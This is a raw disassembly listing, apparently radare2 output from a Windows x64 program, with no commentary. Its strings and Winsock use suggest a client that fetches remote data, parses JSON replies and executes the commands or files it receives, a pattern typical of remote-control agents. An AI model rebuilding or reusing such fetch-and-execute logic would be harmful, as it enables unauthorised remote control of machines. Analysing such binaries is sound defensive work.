lea rdx, [0x1400ee4f8]
lea rcx, [rsp + 0x1a0]
call fcn.140004a90
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x1c0], xmm0
mov qword [rsp + 0x1d0], r15
mov qword [rsp + 0x1d8], r15
mov r8d, 3
lea rdx, [0x1400ee24c]
lea rcx, [rsp + 0x1c0]
call fcn.140004a90
nop
lea r8, [0x1400ee258]
lea rdx, str.234
lea rcx, [rsp + 0x1e0]
call fcn.14001e5c0
nop
lea r8, [0x1400ee28c]
lea rdx, [0x1400ee550]
lea rcx, [rsp + 0x220]
call fcn.14001e5c0
nop
lea r8, [0x1400ee250]
lea rdx, [0x1400ee554]
lea rcx, [rsp + 0x260]
call fcn.14001e5c0
nop
lea rcx, [rsp + 0x2a0]
call fcn.14001e650
nop
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x130], rax
lea rax, [rsp + 0x2e0]
mov qword [rsp + 0x138], rax
movaps xmm0, xmmword [rsp + 0x130]
movdqa xmmword [rsp + 0x5d0], xmm0
lea rdx, [rsp + 0x5d0]
lea rcx, [rsp + 0x590]
call fcn.1400126c0
nop
lea r9, [fcn.1400124f0]
mov edx, 0x40
mov r8d, 5
lea rcx, [rsp + 0x1a0]
call fcn.140098814
lea rdx, [rsp + 0x478]
lea rcx, [rsp + 0x590]
call fcn.14001e6c0
test rax, rax
je 0x1400118e2
lea rdx, [rsp + 0x478]
lea rcx, [rsp + 0x590]
call fcn.1400126a0
mov rdx, rax
lea rcx, [rsp + 0x110]
call fcn.140014f40
nop
or r12d, 8
jmp 0x1400118fa
lea rdx, str.unknown
lea rcx, [rsp + 0xb8]
call fcn.140004a50
or r12d, 0x10
mov dword [rsp + 0x60], r12d
mov rdx, rax
lea rcx, [rsp + 0x568]
call fcn.140014e00
nop
test r12b, 0x10
je 0x14001192d
and r12d, 0xffffffef
mov dword [rsp + 0x60], r12d
lea rcx, [rsp + 0xb8]
call fcn.140014d10
nop
test r12b, 8
je 0x140011949
and r12d, 0xfffffff7
mov dword [rsp + 0x60], r12d
lea rcx, [rsp + 0x110]
call fcn.140014d10
lea rdx, [rsp + 0x568]
lea rcx, [rsp + 0x548]
call fcn.14000e090
lea rdx, [0x1400ee52c]
lea rcx, [rsp + 0x478]
call fcn.14001c680
test al, al
jne 0x140011a6c
lea rdx, [0x1400ee530]
lea rcx, [rsp + 0x478]
call fcn.14001c680
test al, al
jne 0x140011a6c
lea r8, [rsp + 0x478]
lea rdx, str.Command
lea rcx, [rsp + 0x5d0]
call fcn.14001cb30
nop
lea r8, str._executed_successfully.
mov rdx, rax
lea rcx, [rsp + 0x68]
call fcn.14001c350
nop
mov rcx, rax
call fcn.140008290
nop
lea rcx, [rsp + 0x68]
call fcn.140014d10
nop
lea rcx, [rsp + 0x5d0]
call fcn.140014d10
nop
lea rcx, [rsp + 0x568]
call fcn.140014d10
nop
lea rcx, [rsp + 0x590]
call fcn.1400125b0
nop
lea rcx, [rsp + 0x548]
call fcn.140014d10
nop
lea rcx, [rsp + 0x4a0]
call fcn.140014d10
nop
lea rcx, [rsp + 0x4c0]
call fcn.140014d10
nop
lea rcx, [rsp + 0x508]
call fcn.140014d10
nop
lea rcx, [rsp + 0x4e0]
call fcn.140014d10
nop
lea rcx, [rsp + 0x478]
call fcn.140014d10
lea rsi, str.Failed_to_fetch_data._Status_code:
lea r14, [0x140000000]
jmp 0x14001214d
mov rcx, qword [rsp + 0x558]
mov rax, qword [rsp + 0x90]
sub rax, rcx
cmp rax, 0x29
jb 0x140012419
lea rax, [rsp + 0x548]
cmp qword [rsp + 0x560], 0xf
cmova rax, qword [rsp + 0x548]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x29
lea r9, str.Script_terminating_after_executing_file:
lea rcx, [rsp + 0x68]
call fcn.140025360
bts r12d, 0x17
mov dword [rsp + 0x60], r12d
lea rcx, [rsp + 0x68]
call fcn.140008290
nop
mov rdx, qword [rsp + 0x80]
cmp rdx, 0xf
jbe 0x140011b1d
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011b17
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001241e
call fcn.1400987d0
nop
mov rdx, qword [rsp + 0x580]
cmp rdx, 0xf
jbe 0x140011b61
inc rdx
mov rcx, qword [rsp + 0x568]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011b5b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012424
call fcn.1400987d0
nop
lea rcx, [rsp + 0x590]
call fcn.1400125b0
nop
mov rdx, qword [rsp + 0x560]
cmp rdx, 0xf
jbe 0x140011bb2
inc rdx
mov rcx, qword [rsp + 0x548]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011bad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001242a
call fcn.1400987d0
mov qword [rsp + 0x558], r15
mov qword [rsp + 0x560], 0xf
mov byte [rsp + 0x548], 0
mov rdx, qword [rsp + 0x4b8]
cmp rdx, 0xf
jbe 0x140011c11
inc rdx
mov rcx, qword [rsp + 0x4a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011c0c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012430
call fcn.1400987d0
mov qword [rsp + 0x4b0], r15
mov qword [rsp + 0x4b8], 0xf
mov byte [rsp + 0x4a0], 0
mov rdx, qword [rsp + 0x4d8]
cmp rdx, 0xf
jbe 0x140011c70
inc rdx
mov rcx, qword [rsp + 0x4c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011c6b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012436
call fcn.1400987d0
mov qword [rsp + 0x4d0], r15
mov qword [rsp + 0x4d8], 0xf
mov byte [rsp + 0x4c0], 0
mov rdx, qword [rsp + 0x520]
cmp rdx, 0xf
jbe 0x140011cd0
inc rdx
mov rcx, qword [rsp + 0x508]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011cca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001243c
call fcn.1400987d0
nop
mov rdx, qword [rsp + 0x4f8]
cmp rdx, 0xf
jbe 0x140011d13
inc rdx
mov rcx, qword [rsp + 0x4e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011d0e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012442
call fcn.1400987d0
mov qword [rsp + 0x4f0], r15
mov qword [rsp + 0x4f8], 0xf
mov byte [rsp + 0x4e0], 0
mov rdx, qword [rsp + 0x490]
cmp rdx, 0xf
jbe 0x140011d72
inc rdx
mov rcx, qword [rsp + 0x478]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011d6d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012448
call fcn.1400987d0
mov qword [rsp + 0x488], r15
mov qword [rsp + 0x490], 0xf
mov byte [rsp + 0x478], 0
mov dl, 1
lea rcx, [rsp + 0x460]
call fcn.140019340
nop
mov rdx, qword [rsp + 0x450]
cmp rdx, 0xf
jbe 0x140011de2
inc rdx
mov rcx, qword [rsp + 0x438]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011ddc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001244e
call fcn.1400987d0
nop
mov rcx, qword [rsp + 0x5f0]
xor rcx, rsp
call fcn.1400987b0
lea r11, [rsp + 0x600]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
xorps xmm0, xmm0
movups xmmword [rsp + 0x98], xmm0
mov qword [rsp + 0xa8], r15
mov qword [rsp + 0xb0], r15
mov r8d, 0x1c
lea rdx, str.Invalid_response_parameters.
lea rcx, [rsp + 0x98]
call fcn.140004a90
nop
lea rcx, [rsp + 0x98]
call fcn.140008290
nop
mov rdx, qword [rsp + 0xb0]
cmp rdx, 0xf
jbe 0x140011e9c
inc rdx
mov rcx, qword [rsp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011e96
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400124a9
call fcn.1400987d0
nop
movzx edx, r13b
lea rcx, [rsp + 0x460]
call fcn.140019340
nop
mov rdx, qword [rsp + 0x450]
cmp rdx, 0xf
jbe 0x140011ef2
inc rdx
mov rcx, qword [rsp + 0x438]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011eec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400124af
call fcn.1400987d0
nop
jmp 0x140010250
lea r9, [rsp + 0x5e5]
test r8d, r8d
jns 0x140011f50
neg r8d
nop word [rax + rax]
dec r9
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r9], r8b
mov r8d, edx
test edx, edx
jne 0x140011f10
dec r9
mov byte [r9], 0x2d
jmp 0x140011f7a
dec r9
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r9], r8b
mov r8d, edx
test edx, edx
jne 0x140011f50
lea r8, [rsp + 0x5e5]
mov rdx, r9
lea rcx, [rsp + 0xf0]
call fcn.140027540
or r12d, 0xc0
mov dword [rsp + 0x60], r12d
mov r8, qword [rsp + 0x100]
mov rcx, qword [rsp + 0x108]
mov rax, rcx
sub rax, r8
cmp rax, 0x23
jb 0x14001204b
lea rax, [r8 + 0x23]
mov qword [rsp + 0x100], rax
lea rbx, [rsp + 0xf0]
cmp rcx, 0xf
cmova rbx, qword [rsp + 0xf0]
lea rax, [0x1400ee5e3]
cmp rax, rbx
jbe 0x140012006
lea rax, [rbx + r8]
cmp rsi, rax
ja 0x140012006
cmp rbx, rsi
ja 0x140011ffe
mov rdi, r15
jmp 0x14001200b
mov rdi, rbx
sub rdi, rsi
jmp 0x14001200b
mov edi, 0x23
inc r8
lea rcx, [rbx + 0x23]
mov rdx, rbx
call fcn.1400c6c60
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call fcn.1400c6c60
mov r8d, 0x23
sub r8, rdi
lea rdx, [rdi + 0x23]
add rdx, rsi
lea rcx, [rbx + rdi]
call fcn.1400c6c60
lea rax, [rsp + 0xf0]
jmp 0x14001206b
mov qword [rsp + 0x28], 0x23
mov qword [rsp + 0x20], rsi
mov edx, 0x23
lea rcx, [rsp + 0xf0]
call fcn.14002d800
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x80], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x78], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
or r12d, 0x20
mov dword [rsp + 0x60], r12d
lea rcx, [rsp + 0x68]
call fcn.140008290
nop
mov rdx, qword [rsp + 0x80]
cmp rdx, 0xf
jbe 0x1400120f4
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400120ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400124b5
call fcn.1400987d0
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x80], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x68], 0
mov rdx, qword [rsp + 0x108]
cmp rdx, 0xf
jbe 0x14001214d
inc rdx
mov rcx, qword [rsp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012148
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400124bb
call fcn.1400987d0
call fcn.14000f170
xor r8d, r8d
lea rdx, [0x1400ed62d]
lea rcx, [0x1401025e8]
call fcn.1400179f0
nop
movzx edx, r13b
lea rcx, [rsp + 0x460]
call fcn.140019340
nop
mov rdx, qword [rsp + 0x450]
cmp rdx, 0xf
jbe 0x1400121bf
inc rdx
mov rcx, qword [rsp + 0x438]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400121b9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400124c1
call fcn.1400987d0
nop
jmp 0x140010250
call fcn.1400a82a0
nop
call fcn.1400a82a0
int3
call fcn.1400a82a0
nop
lea rcx, [rbx + 0x40]
call fcn.140019830
mov qword [rsp + 0x88], rax
lea r8, [rsp + 0x88]
lea rdx, str.type_must_be_string__but_is
lea rcx, [rsp + 0xb8]
call fcn.140027e20
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rsp + 0x2e0]
call fcn.14001ee20
lea rdx, [0x1400ffa38]
lea rcx, [rsp + 0x2e0]
call fcn.14009ab70
nop
call fcn.1400a82a0
nop
lea rcx, [rbx + 0x40]
call fcn.140019830
mov qword [rsp + 0x88], rax
lea r8, [rsp + 0x88]
lea rdx, str.type_must_be_string__but_is
lea rcx, [rsp + 0xb8]
call fcn.140027e20
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rsp + 0x318]
call fcn.14001ee20
lea rdx, [0x1400ffa38]
lea rcx, [rsp + 0x318]
call fcn.14009ab70
nop
call fcn.1400a82a0
nop
lea rcx, [rbx + 0x40]
call fcn.140019830
mov qword [rsp + 0x88], rax
lea r8, [rsp + 0x88]
lea rdx, str.type_must_be_string__but_is
lea rcx, [rsp + 0xb8]
call fcn.140027e20
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rsp + 0x350]
call fcn.14001ee20
lea rdx, [0x1400ffa38]
lea rcx, [rsp + 0x350]
call fcn.14009ab70
nop
call fcn.1400a82a0
nop
lea rcx, [rbx + 0x40]
call fcn.140019830
mov qword [rsp + 0x88], rax
lea r8, [rsp + 0x88]
lea rdx, str.type_must_be_string__but_is
lea rcx, [rsp + 0xb8]
call fcn.140027e20
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rsp + 0x388]
call fcn.14001ee20
lea rdx, [0x1400ffa38]
lea rcx, [rsp + 0x388]
call fcn.14009ab70
nop
call fcn.1400a82a0
nop
lea rcx, [rbx + 0x40]
call fcn.140019830
mov qword [rsp + 0x88], rax
lea r8, [rsp + 0x88]
lea rdx, str.type_must_be_string__but_is
lea rcx, [rsp + 0xb8]
call fcn.140027e20
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rsp + 0x3c0]
call fcn.14001ee20
lea rdx, [0x1400ffa38]
lea rcx, [rsp + 0x3c0]
call fcn.14009ab70
nop
call fcn.140001570
call fcn.1400a82a0
int3
call fcn.140001570
nop
call fcn.1400a82a0
nop
call fcn.1400a82a0
nop
lea rcx, str.invalid_stoi_argument
call fcn.14009785c
lea rcx, str.stoi_argument_out_of_range
call fcn.1400978a4
nop
call fcn.1400a82a0
nop
call fcn.1400a82a0
nop
call fcn.1400a82a0
nop
call fcn.1400a82a0
nop
call fcn.1400a82a0
nop
call fcn.140001570
call fcn.1400a82a0
nop
call fcn.1400a82a0
nop
call fcn.1400a82a0
nop
call fcn.1400a82a0
nop
call fcn.1400a82a0
nop
call fcn.1400a82a0
nop
call fcn.1400a82a0
nop
call fcn.1400a82a0
nop
call fcn.1400a82a0
nop
lea rcx, [rsp + 0x458]
call fcn.140019830
mov qword [rsp + 0x88], rax
lea r8, [rsp + 0x88]
lea rcx, [rsp + 0xb8]
call fcn.14002d5c0
nop
mov r8, rax
mov edx, 0x131
lea rcx, [rsp + 0x3f8]
call fcn.14001ee20
lea rdx, [0x1400ffa38]
lea rcx, [rsp + 0x3f8]
call fcn.14009ab70
nop
call fcn.1400a82a0
nop
call fcn.1400a82a0
nop
call fcn.1400a82a0
nop
call fcn.1400a82a0
nop
call fcn.1400a82a0
int3